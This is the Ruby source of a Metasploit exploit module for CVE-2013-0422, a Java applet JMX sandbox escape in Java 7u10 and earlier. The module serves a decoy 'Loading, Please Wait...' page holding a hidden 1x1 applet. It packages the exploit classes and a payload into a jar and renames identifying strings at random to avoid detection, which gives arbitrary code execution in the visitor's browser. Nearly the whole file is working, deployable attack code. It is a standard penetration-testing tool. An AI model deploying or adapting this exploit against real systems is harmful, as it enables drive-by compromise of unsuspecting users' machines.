##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Java Applet JMX Remote Code Execution',
      'Description'   => %q{
          This module abuses the JMX classes from a Java Applet to run arbitrary Java
        code outside of the sandbox as exploited in the wild in January of 2013. The
        vulnerability affects Java version 7u10 and earlier.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability discovery
          'egypt', # Metasploit module
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'    =>
        [
          [ 'CVE', '2013-0422' ],
          [ 'OSVDB', '89059' ],
          [ 'US-CERT-VU', '625617' ],
          [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],
          [ 'URL', 'http://pastebin.com/cUG2ayjh' ]  #Who authored the code on pastebin?  I can't read Russian :-(
        ],
      'Platform'      => %w{ java linux osx win },
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA,
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 10 2013'
    ))
  end


  def setup
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "Exploit.class")
    @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "B.class")
    @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

    @exploit_class_name = rand_text_alpha("Exploit".length)
    @exploit_class.gsub!("Exploit", @exploit_class_name)
    super
  end

  def on_request_uri(cli, request)
    print_status("handling request for #{request.uri}")

    case request.uri
    when /\.jar$/i
      jar = payload.encoded_jar
      jar.add_file("#{@exploit_class_name}.class", @exploit_class)
      jar.add_file("B.class", @loader_class)
      metasploit_str = rand_text_alpha("metasploit".length)
      payload_str = rand_text_alpha("payload".length)
      jar.entries.each { |entry|
        entry.name.gsub!("metasploit", metasploit_str)
        entry.name.gsub!("Payload", payload_str)
        entry.data = entry.data.gsub("metasploit", metasploit_str)
        entry.data = entry.data.gsub("Payload", payload_str)
      }
      jar.build_manifest

      send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
    when /\/$/
      payload = regenerate_payload(cli)
      if not payload
        print_error("Failed to generate the payload.")
        send_not_found(cli)
        return
      end
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
    else
      send_redirect(cli, get_resource() + '/', '')
    end

  end

  def generate_html
    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
    html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
    html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
    html += %Q|</applet></body></html>|
    return html
  end
end
